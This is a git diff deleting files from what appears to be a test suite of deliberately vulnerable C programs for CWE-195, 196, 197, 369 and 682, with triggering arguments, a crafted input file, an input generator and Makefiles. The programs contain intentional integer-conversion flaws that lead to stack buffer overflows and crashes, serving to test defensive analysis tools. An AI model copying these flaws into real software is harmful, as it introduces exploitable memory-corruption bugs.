- int sock=AcceptSocketConnection();
- ReadPacket(packet, sock);
- packet->headers = atoi(argv[1]);
- numHeaders =packet->headers;
-
- if (numHeaders > 100) {
- exit(2); /* too many headers! */
- }
- printf("%d\n", numHeaders);
- printf("%d\n", sizeof(PacketHeader));
- headers = malloc(numHeaders * sizeof(PacketHeader));
- ParsePacketHeaders(packet, headers);
- exit(0);
-}
-
-/*
-The code performs a check to make sure that the packet does not contain too many
-headers. However, numHeaders is defined as a signed int, so it could be negative.
-If the incoming packet specifies a value such as -3, then the malloc calculation
-will generate a negative number (say, -300 if each header can be a maximum of 100
-bytes). When this result is provided to malloc(), it is first converted to a size_t
-type. This conversion then produces a large value such as 4294966996, which may
-cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195).
-With the appropriate negative numbers, an attacker could trick malloc() into using
-a very small positive number, which then allocates a buffer that is much smaller
-than expected, potentially leading to a buffer overflow.
-
-*/
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_195/CWE_195_Example_4_bad.c b/integerbug_examples/C1_Number_Handling/CWE_195/CWE_195_Example_4_bad.c
deleted file mode 100644
index d2736c50091a16ff78c3ea37fc44e12630e1578b..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_195/CWE_195_Example_4_bad.c
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
-Signed to Unsigned Conversion Error
-
-Description Summary
-A signed-to-unsigned conversion error takes place when a signed primitive is used
-as an unsigned value, usually as a size variable.
-
-Extended Description
-It is dangerous to rely on implicit casts between signed and unsigned numbers because
-the result can take on an unexpected value and violate assumptions made by the program.
-
-Scope Effect
-Availability Conversion between signed and unsigned values can lead to a variety of
-errors, but from a security standpoint is most commonly associated with integer
-overflow and buffer overflow vulnerabilities.
-
-Example 4
-This example processes user input comprised of a series of variable-length structures.
-The first 2 bytes of input dictate the size of the structure to be processed.
-(Bad Code)Example Language: C
-
-@BAD_ARGS <example4_bad.dat
-@GOOD_ARGS <example4_good.dat
-@ATTACK_SUCCEEDED_CODE 139
-
-*/
-
-#include <stdlib.h>
-#include <memory.h>
-#include <stdio.h>
-
-void process(char* buf) {}
-
-char* processNext(char* strm) {
- char buf[512];
- short len = *(short*) strm;
- strm += sizeof(len);
- if (len <= 512) {
- memcpy(buf, strm, len);
- process(buf);
- return strm + len;
- }
- else {
- return 0;
- }
-}
-
-int main(int argc, char **argv)
-{
- char buf[512];
- int n = 0;
- while ((buf[n++] = getchar()) != EOF) {}
-printf("A\n");
-
- processNext(buf);
-printf("A\n");
- exit(0);
-}
-
-
-/*
-The programmer has set an upper bound on the structure size: if it is larger
-than 512, the input will not be processed. The problem is that len is a signed
-short, so the check against the maximum structure length is done with signed values,
-but len is converted to an unsigned integer for the call to memcpy() and the negative
-bit will be extended to result in a huge value for the unsigned integer.
-If len is negative, then it will appear that the structure has an appropriate size
-(the if branch will be taken), but the amount of memory copied by memcpy() will
-be quite large, and the attacker will be able to overflow the stack with data
-in strm.
-
-*/
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_195/Makefile b/integerbug_examples/C1_Number_Handling/CWE_195/Makefile
deleted file mode 100644
index 7a92060a9bf335f932aa26a8ac2189f6dd3bb5e2..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_195/Makefile
+++ /dev/null
@@ -1,71 +0,0 @@
-# DO NOT EDIT - This Makefile automatically generated
-include ../../Makefile.options
-include $(wildcard Makefile.options)
-
-all: runall
-
-test:
- ../../../scripts/test.pl $(TESTFLAGS) .
-
-CWE_195_Example_1_bad.ncexe: CWE_195_Example_1_bad.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_195_Example_1_bad.conf
-
-CWE_195_Example_1_bad: CWE_195_Example_1_bad.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_195_Example_1_bad.ps_analyze.log
- cp CWE_195_Example_1_bad.conf CWE_195_Example_1_bad.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_195_Example_1_bad.conf
-
-CWE_195_Example_1_bad.run: CWE_195_Example_1_bad
- ../../../scripts/test.pl $(TESTFLAGS) CWE_195_Example_1_bad.ncexe
-
-CWE_195_Example_2_bad.ncexe: CWE_195_Example_2_bad.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_195_Example_2_bad.conf
-
-CWE_195_Example_2_bad: CWE_195_Example_2_bad.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_195_Example_2_bad.ps_analyze.log
- cp CWE_195_Example_2_bad.conf CWE_195_Example_2_bad.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_195_Example_2_bad.conf
-
-CWE_195_Example_2_bad.run: CWE_195_Example_2_bad
- ../../../scripts/test.pl $(TESTFLAGS) CWE_195_Example_2_bad.ncexe
-
-CWE_195_Example_3_bad.ncexe: CWE_195_Example_3_bad.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_195_Example_3_bad.conf
-
-CWE_195_Example_3_bad: CWE_195_Example_3_bad.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_195_Example_3_bad.ps_analyze.log
- cp CWE_195_Example_3_bad.conf CWE_195_Example_3_bad.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_195_Example_3_bad.conf
-
-CWE_195_Example_3_bad.run: CWE_195_Example_3_bad
- ../../../scripts/test.pl $(TESTFLAGS) CWE_195_Example_3_bad.ncexe
-
-CWE_195_Example_4_bad.ncexe: CWE_195_Example_4_bad.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_195_Example_4_bad.conf
-
-CWE_195_Example_4_bad: CWE_195_Example_4_bad.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_195_Example_4_bad.ps_analyze.log
- cp CWE_195_Example_4_bad.conf CWE_195_Example_4_bad.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_195_Example_4_bad.conf
-
-CWE_195_Example_4_bad.run: CWE_195_Example_4_bad
- ../../../scripts/test.pl $(TESTFLAGS) CWE_195_Example_4_bad.ncexe
-
-gen: gen.cc
- $(CPP) $(CPPFLAGS) $< -o $@ $(LINKOPT)
-clean:
- rm -f CWE_195_Example_1_bad.ncexe CWE_195_Example_2_bad.ncexe CWE_195_Example_3_bad.ncexe CWE_195_Example_4_bad.ncexe gen
- rm -f CWE_195_Example_1_bad CWE_195_Example_2_bad CWE_195_Example_3_bad CWE_195_Example_4_bad
- rm -f summary.csv logfail.txt logfile.txt CWE_195_Example_1_bad.asm CWE_195_Example_1_bad.idb CWE_195_Example_1_bad.ncexe* stratafier.o.exe *.conf CWE_195_Example_2_bad.asm CWE_195_Example_2_bad.idb CWE_195_Example_2_bad.ncexe* stratafier.o.exe *.conf CWE_195_Example_3_bad.asm CWE_195_Example_3_bad.idb CWE_195_Example_3_bad.ncexe* stratafier.o.exe *.conf CWE_195_Example_4_bad.asm CWE_195_Example_4_bad.idb CWE_195_Example_4_bad.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log
- rm -rf peasoup_executable_directory*
-
-targets: CWE_195_Example_1_bad.ncexe CWE_195_Example_2_bad.ncexe CWE_195_Example_3_bad.ncexe CWE_195_Example_4_bad.ncexe gen
-
-analyze: targets CWE_195_Example_1_bad CWE_195_Example_2_bad CWE_195_Example_3_bad CWE_195_Example_4_bad
-
-runall: CWE_195_Example_1_bad.run CWE_195_Example_2_bad.run CWE_195_Example_3_bad.run CWE_195_Example_4_bad.run
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_195/example4_bad.dat b/integerbug_examples/C1_Number_Handling/CWE_195/example4_bad.dat
deleted file mode 100644
index 2ea4cb14dfbf4b8ac338f9036b73c35c3f8854d5..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_195/example4_bad.dat
+++ /dev/null
@@ -1 +0,0 @@
-ýÿ
\ No newline at end of file
diff --git a/integerbug_examples/C1_Number_Handling/CWE_195/example4_good.dat b/integerbug_examples/C1_Number_Handling/CWE_195/example4_good.dat
deleted file mode 100644
index d9caed6061660b36286cdeb7e6d81175e39bfa25..0000000000000000000000000000000000000000
Binary files a/integerbug_examples/C1_Number_Handling/CWE_195/example4_good.dat and /dev/null differ
diff --git a/integerbug_examples/C1_Number_Handling/CWE_195/gen.cc b/integerbug_examples/C1_Number_Handling/CWE_195/gen.cc
deleted file mode 100644
index 9d80831e7ec352ec3ed19cbb9a6d7b999fe6abb2..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_195/gen.cc
+++ /dev/null
@@ -1,21 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-
-/*
-This is used for generating test data and not an actual test
-@DRIVER
-*/
-
-int main(int argc, char **argv)
-{
- if (argc < 3) {printf("Usage: gen <reported size> <actual size>\n"); exit(2); }
- short n = atoi(argv[1]);
- int m = atoi(argv[2]);
- char *c = (char *)&n;
-
- printf ("%c%c", c[0], c[1]);
- int i;
- for (i = 0; i < m; ++i) printf("x");
-}
-
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_196/CWE_196_Example_1_bad.c b/integerbug_examples/C1_Number_Handling/CWE_196/CWE_196_Example_1_bad.c
deleted file mode 100644
index b48b89a69306840c5c42abb2684186cc243f8d48..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_196/CWE_196_Example_1_bad.c
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- Unsigned to Signed Conversion Error
-
-Description Summary
-An unsigned-to-signed conversion error takes place when a large unsigned
-primitive is used as a signed value.
-
-Common Consequences
-Scope Effect
-Availability Incorrect sign conversions generally lead to undefined behavior, and
- therefore crashes.
-
-Integrity If a poor cast lead to a buffer overflow or similar condition, data integrity may be affected.
-
-Integrity Improper signed-to-unsigned conversions without proper checking can
- sometimes trigger buffer overflows which can be used to execute
- arbitrary code. This is usually outside the scope of a program's implicit
- security policy.
-
-Example 1
-In the following example, it is possible to request that memcpy move a much
-larger segment of memory than assumed:
-(Bad Code)Example Language: C
-
-@GOOD_ARGS 1
-@BAD_ARGS -1
-@ATTACK_SUCCEEDED_CODE 139
-
-*/
-
-#include <stdlib.h>
-#include <memory.h>
-#include <stdio.h>
-#ifdef ASSERT
- #include <assert.h>
-#endif
-
-
-int returnChunkSize(void * buf, int n) {
-/* if chunk info is valid, return the size of usable memory,
-* else, return -1 to indicate an error
-*/
- return n;
-}
-
-int main(int argc, char **argv) {
- char destBuf[512];
- char* srcBuf = "Hello World";
- if (argc < 2) exit(2);
- int n = atoi(argv[1]);
- memcpy(destBuf, srcBuf, (returnChunkSize(destBuf, n)-1));
-#ifdef ASSERT
- assert(isdigit(argv[1][0]));
- assert( (sizeof(destBuf) > (returnChunkSize(destBuf, n)-1)) && ((returnChunkSize(destBuf, n)-1) > -1) );
-#endif
- exit(0);
-}
-
-/*
-If returnChunkSize() happens to encounter an error, and returns -1,
-memcpy will assume that the value is unsigned and therefore interpret it as
-MAXINT-1, therefore copying far more memory than is likely available in the
-destination buffer.
-*/
diff --git a/integerbug_examples/C1_Number_Handling/CWE_196/Makefile b/integerbug_examples/C1_Number_Handling/CWE_196/Makefile
deleted file mode 100644
index 80f156712c03afe4016c67d066be87f3de687191..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_196/Makefile
+++ /dev/null
@@ -1,33 +0,0 @@
-# DO NOT EDIT - This Makefile automatically generated
-include ../../Makefile.options
-include $(wildcard Makefile.options)
-
-all: runall
-
-test:
- ../../../scripts/test.pl $(TESTFLAGS) .
-
-CWE_196_Example_1_bad.ncexe: CWE_196_Example_1_bad.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_196_Example_1_bad.conf
-
-CWE_196_Example_1_bad: CWE_196_Example_1_bad.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_196_Example_1_bad.ps_analyze.log
- cp CWE_196_Example_1_bad.conf CWE_196_Example_1_bad.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_196_Example_1_bad.conf
-
-CWE_196_Example_1_bad.run: CWE_196_Example_1_bad
- ../../../scripts/test.pl $(TESTFLAGS) CWE_196_Example_1_bad.ncexe
-
-clean:
- rm -f CWE_196_Example_1_bad.ncexe
- rm -f CWE_196_Example_1_bad
- rm -f summary.csv logfail.txt logfile.txt CWE_196_Example_1_bad.asm CWE_196_Example_1_bad.idb CWE_196_Example_1_bad.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log
- rm -rf peasoup_executable_directory*
-
-targets: CWE_196_Example_1_bad.ncexe
-
-analyze: targets CWE_196_Example_1_bad
-
-runall: CWE_196_Example_1_bad.run
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_197/CWE_197_Example_1_bad.c b/integerbug_examples/C1_Number_Handling/CWE_197/CWE_197_Example_1_bad.c
deleted file mode 100644
index 2ec3ba9494e8c813b18714179c723ad995e6b614..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_197/CWE_197_Example_1_bad.c
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
-Numeric Truncation Error
-
-Description Summary
-Truncation errors occur when a primitive is cast to a primitive of a smaller
-size and data is lost in the conversion.
-
-Extended Description
-When a primitive is cast to a smaller primitive, the high order bits of the
-large value are lost in the conversion, potentially resulting in an unexpected
-value that is not equal to the original value. This value may be required as an
-index into a buffer, a loop iterator, or simply necessary state data. In any
-case, the value cannot be trusted and the system will be in an undefined state.
-While this method may be employed viably to isolate the low bits of a value,
-this usage is rare, and truncation usually implies that an implementation error
-has occurred.
-
-Common Consequences
-Scope Effect
-Integrity The true value of the data is lost and corrupted data is used.
-
-Example 1
-This example, while not exploitable, shows the possible mangling of values
-associated with truncation errors:
-(Bad Code)Example Language: C
-
-@BAD_ARGS 2147483647
-@GOOD_ARGS 22
-@ATTACK_SUCCEEDED_CODE 1
-
-*/
-
-#include <stdlib.h>
-#include <stdio.h>
-#ifdef ASSERT
- #include <assert.h>
-#endif
-
-int main(int argc, char **argv)
-{
- int intPrimitive;
- short shortPrimitive;
-if(argc != 2 ){
- fprintf(stderr, "usage: %s ipaddres\n", argv[0]);
- exit(1);
-}
- intPrimitive = atoi(argv[1]);
-/*
-BJM The intial example had this code. I changed it to take a command line arg
-This will let there be more bad values. The intened value from this code is
-now the Bad_ARGS
-
- intPrimitive = (int)(~((int)0) ^ (1 << (sizeof(int)*8-1)));
-*/
- shortPrimitive = intPrimitive;
- printf("Int: %d\nShort: %d\n", intPrimitive, shortPrimitive);
-#ifdef ASSERT
- assert(intPrimitive == shortPrimitive);
-#endif
- if (shortPrimitive < 0) exit(1);
- exit(0);
-}
-
-
-/*
-The above code, when compiled and run on certain systems, returns the following output:
-
-(Result)
-Int MAXINT: 2147483647
-Short MAXINT: -1
-This problem may be exploitable when the truncated value is used as an array
-index, which can happen implicitly when 64-bit values are used as indexes, as
-they are truncated to 32 bits.
-
-*/
diff --git a/integerbug_examples/C1_Number_Handling/CWE_197/Makefile b/integerbug_examples/C1_Number_Handling/CWE_197/Makefile
deleted file mode 100644
index 92d249cca5fcef0ec1639209bb3c81e1a0742a4a..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_197/Makefile
+++ /dev/null
@@ -1,33 +0,0 @@
-# DO NOT EDIT - This Makefile automatically generated
-include ../../Makefile.options
-include $(wildcard Makefile.options)
-
-all: runall
-
-test:
- ../../../scripts/test.pl $(TESTFLAGS) .
-
-CWE_197_Example_1_bad.ncexe: CWE_197_Example_1_bad.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_197_Example_1_bad.conf
-
-CWE_197_Example_1_bad: CWE_197_Example_1_bad.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_197_Example_1_bad.ps_analyze.log
- cp CWE_197_Example_1_bad.conf CWE_197_Example_1_bad.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_197_Example_1_bad.conf
-
-CWE_197_Example_1_bad.run: CWE_197_Example_1_bad
- ../../../scripts/test.pl $(TESTFLAGS) CWE_197_Example_1_bad.ncexe
-
-clean:
- rm -f CWE_197_Example_1_bad.ncexe
- rm -f CWE_197_Example_1_bad
- rm -f summary.csv logfail.txt logfile.txt CWE_197_Example_1_bad.asm CWE_197_Example_1_bad.idb CWE_197_Example_1_bad.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log
- rm -rf peasoup_executable_directory*
-
-targets: CWE_197_Example_1_bad.ncexe
-
-analyze: targets CWE_197_Example_1_bad
-
-runall: CWE_197_Example_1_bad.run
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/CVE-2005-2448_CWE_198_EKG.docx b/integerbug_examples/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/CVE-2005-2448_CWE_198_EKG.docx
deleted file mode 100644
index 065502ddbfcdd6adaf6b7e2c048a4be5976e5b03..0000000000000000000000000000000000000000
Binary files a/integerbug_examples/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/CVE-2005-2448_CWE_198_EKG.docx and /dev/null differ
diff --git a/integerbug_examples/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/Should_have_the_fixes_ekg-1.6rc3.tar.gz b/integerbug_examples/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/Should_have_the_fixes_ekg-1.6rc3.tar.gz
deleted file mode 100644
index 37c2e214ab2d18c6f141416918aff04d0a1af11d..0000000000000000000000000000000000000000
Binary files a/integerbug_examples/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/Should_have_the_fixes_ekg-1.6rc3.tar.gz and /dev/null differ
diff --git a/integerbug_examples/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.5rc2.tar.gz b/integerbug_examples/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.5rc2.tar.gz
deleted file mode 100644
index cebe1814a37b127ab21b1673fe682fefc825360b..0000000000000000000000000000000000000000
Binary files a/integerbug_examples/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.5rc2.tar.gz and /dev/null differ
diff --git a/integerbug_examples/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.6rc1.tar.gz b/integerbug_examples/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.6rc1.tar.gz
deleted file mode 100644
index 5de15c25d3e0f152a681a4f8dc5e06bbc07491a5..0000000000000000000000000000000000000000
Binary files a/integerbug_examples/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.6rc1.tar.gz and /dev/null differ
diff --git a/integerbug_examples/C1_Number_Handling/CWE_198/Makefile b/integerbug_examples/C1_Number_Handling/CWE_198/Makefile
deleted file mode 100644
index 5f5aa0afcbc6aa25d39d4cab4197475d676b262c..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_198/Makefile
+++ /dev/null
@@ -1,45 +0,0 @@
-# DO NOT EDIT - This Makefile automatically generated
-include ../../Makefile.options
-include $(wildcard Makefile.options)
-
-all: runall
-
-test:
- ../../../scripts/test.pl $(TESTFLAGS) .
-
-use_of_incorrect_byte_order.ncexe: use_of_incorrect_byte_order.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >use_of_incorrect_byte_order.conf
-
-use_of_incorrect_byte_order: use_of_incorrect_byte_order.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee use_of_incorrect_byte_order.ps_analyze.log
- cp use_of_incorrect_byte_order.conf use_of_incorrect_byte_order.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> use_of_incorrect_byte_order.conf
-
-use_of_incorrect_byte_order.run: use_of_incorrect_byte_order
- ../../../scripts/test.pl $(TESTFLAGS) use_of_incorrect_byte_order.ncexe
-
-use_of_incorrect_byte_order_safe.ncexe: use_of_incorrect_byte_order.c
- $(CC) $(CFLAGS) -DSAFE $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) -DSAFE $< -o $@ $(LINKOPT) >use_of_incorrect_byte_order_safe.conf
-
-use_of_incorrect_byte_order_safe: use_of_incorrect_byte_order_safe.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee use_of_incorrect_byte_order_safe.ps_analyze.log
- cp use_of_incorrect_byte_order_safe.conf use_of_incorrect_byte_order_safe.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> use_of_incorrect_byte_order_safe.conf
-
-use_of_incorrect_byte_order_safe.run: use_of_incorrect_byte_order_safe
- ../../../scripts/test.pl $(TESTFLAGS) use_of_incorrect_byte_order_safe.ncexe
-
-clean:
- rm -f use_of_incorrect_byte_order.ncexe use_of_incorrect_byte_order_safe.ncexe
- rm -f use_of_incorrect_byte_order use_of_incorrect_byte_order_safe
- rm -f summary.csv logfail.txt logfile.txt use_of_incorrect_byte_order.asm use_of_incorrect_byte_order.idb use_of_incorrect_byte_order.ncexe* stratafier.o.exe *.conf use_of_incorrect_byte_order_safe.asm use_of_incorrect_byte_order_safe.idb use_of_incorrect_byte_order_safe.ncexe* $(CLEANEXTRAS) *.ps_analyze.log
- rm -rf peasoup_executable_directory*
-
-targets: use_of_incorrect_byte_order.ncexe use_of_incorrect_byte_order_safe.ncexe
-
-analyze: targets use_of_incorrect_byte_order use_of_incorrect_byte_order_safe
-
-runall: use_of_incorrect_byte_order.run use_of_incorrect_byte_order_safe.run
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_369/CWE_369_Example_1_bad.c b/integerbug_examples/C1_Number_Handling/CWE_369/CWE_369_Example_1_bad.c
deleted file mode 100644
index 249f9484e52cc764ff40e009df012e46088ec38c..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_369/CWE_369_Example_1_bad.c
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
-Divide By Zero
-
-Description Summary
-The product divides a value by zero.
-
-Extended Description
-This weakness typically occurs when an unexpected value is provided to the
-product, or if an error occurs that is not properly detected. It frequently
-occurs in calculations involving physical dimensions such as size, length,
-width, and height.
-
-Example 3
-The following C# example contains a function that divides two numeric values
-without verifying that the input value used as the denominator is not zero.
-This will create an error for attempting to divide by zero, if this error is
-not caught by the error handling capabilities of the language, unexpected
-results can occur.
-(Bad Code)Example Language: C
-
-@BAD_ARGS 17 0
-@GOOD_ARGS 5 5
-@ATTACK_SUCCEEDED_CODE 136
-
-*/
-
-#include <stdio.h>
-#include <stdlib.h>
-#ifdef ASSERT
- #include <assert.h>
-#endif
-
-int Division(int x, int y)
-{
- return (x / y);
-}
-
-int main(int argc, char **argv)
-{
- if (argc < 3) exit(2);
- int a = atoi(argv[1]);
- int b = atoi(argv[2]);
- int c = Division(a, b);
-#ifdef ASSERT
- assert(b != 0);
-#endif
-
- exit(0);
-}
diff --git a/integerbug_examples/C1_Number_Handling/CWE_369/CWE_369_Example_1_good.c b/integerbug_examples/C1_Number_Handling/CWE_369/CWE_369_Example_1_good.c
deleted file mode 100644
index 8e97d13dcf0096e12ca32f3f5ec461a825f2135d..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_369/CWE_369_Example_1_good.c
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
-Divide By Zero
-
-Description Summary
-The product divides a value by zero.
-
-Extended Description
-This weakness typically occurs when an unexpected value is provided to the
-product, or if an error occurs that is not properly detected. It frequently
-occurs in calculations involving physical dimensions such as size, length,
-width, and height.
-
-Example 3
-The following C example contains a function that divides two numeric values
-without verifying that the input value used as the denominator is not zero.
-This will create an error for attempting to divide by zero, if this error is
-not caught by the error handling capabilities of the language, unexpected
-results can occur.
-(Bad Code)Example Language: C#
-
-@SAFE
-@GOOD_ARGS 5 5
-@BAD_ARGS 17 0
-@NORMAL_ERROR_CODE 0
-
-*/
-
-#include <stdio.h>
-#include <stdlib.h>
-
-int SafeDivision(int x, int y)
-{
- if (y == 0) return 0;
- return (x / y);
-}
-
-int main(int argc, char **argv)
-{
- if (argc < 3) exit(2);
- int a = atoi(argv[1]);
- int b = atoi(argv[2]);
- int c = SafeDivision(a, b);
- exit(0);
-}
diff --git a/integerbug_examples/C1_Number_Handling/CWE_369/Makefile b/integerbug_examples/C1_Number_Handling/CWE_369/Makefile
deleted file mode 100644
index a2f489b2d773f26250d698b4c8cafa150819e19c..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_369/Makefile
+++ /dev/null
@@ -1,45 +0,0 @@
-# DO NOT EDIT - This Makefile automatically generated
-include ../../Makefile.options
-include $(wildcard Makefile.options)
-
-all: runall
-
-test:
- ../../../scripts/test.pl $(TESTFLAGS) .
-
-CWE_369_Example_1_bad.ncexe: CWE_369_Example_1_bad.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_369_Example_1_bad.conf
-
-CWE_369_Example_1_bad: CWE_369_Example_1_bad.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_369_Example_1_bad.ps_analyze.log
- cp CWE_369_Example_1_bad.conf CWE_369_Example_1_bad.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_369_Example_1_bad.conf
-
-CWE_369_Example_1_bad.run: CWE_369_Example_1_bad
- ../../../scripts/test.pl $(TESTFLAGS) CWE_369_Example_1_bad.ncexe
-
-CWE_369_Example_1_good.ncexe: CWE_369_Example_1_good.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_369_Example_1_good.conf
-
-CWE_369_Example_1_good: CWE_369_Example_1_good.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_369_Example_1_good.ps_analyze.log
- cp CWE_369_Example_1_good.conf CWE_369_Example_1_good.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_369_Example_1_good.conf
-
-CWE_369_Example_1_good.run: CWE_369_Example_1_good
- ../../../scripts/test.pl $(TESTFLAGS) CWE_369_Example_1_good.ncexe
-
-clean:
- rm -f CWE_369_Example_1_bad.ncexe CWE_369_Example_1_good.ncexe
- rm -f CWE_369_Example_1_bad CWE_369_Example_1_good
- rm -f summary.csv logfail.txt logfile.txt CWE_369_Example_1_bad.asm CWE_369_Example_1_bad.idb CWE_369_Example_1_bad.ncexe* stratafier.o.exe *.conf CWE_369_Example_1_good.asm CWE_369_Example_1_good.idb CWE_369_Example_1_good.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log
- rm -rf peasoup_executable_directory*
-
-targets: CWE_369_Example_1_bad.ncexe CWE_369_Example_1_good.ncexe
-
-analyze: targets CWE_369_Example_1_bad CWE_369_Example_1_good
-
-runall: CWE_369_Example_1_bad.run CWE_369_Example_1_good.run
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_682/CWE_682_Example_1_bad.c b/integerbug_examples/C1_Number_Handling/CWE_682/CWE_682_Example_1_bad.c
deleted file mode 100644
index 1772a5d1cd4496b00b9ac5d76850d95fda021492..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_682/CWE_682_Example_1_bad.c
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
-Description Summary
-The software performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.
-
-Extended Description
-When software performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution.
-
-@BAD_ARGS 2000
-@ATTACK_SUCCEEDED_CODE 139
-
-*/
-
-/*Example 1
-
-The following image processing code allocates a table for images.
-
-(Bad Code)Example Language: C
-*/
-
-#include<stdlib.h>
-//#include<iostream>
-
-int main(int argc, char** argv){
-
- int bank[1000];
- int user = atoi(argv[1]);
- int account = user*2+5; //calculation is wrong if input is too negative or too high
-// bank[account] = 1234;
-
- printf("You are trying to access user %d, his account is number %d\n",user,account);
- printf("The balance is $%d\n",bank[account]);
-}
-//...
-/*
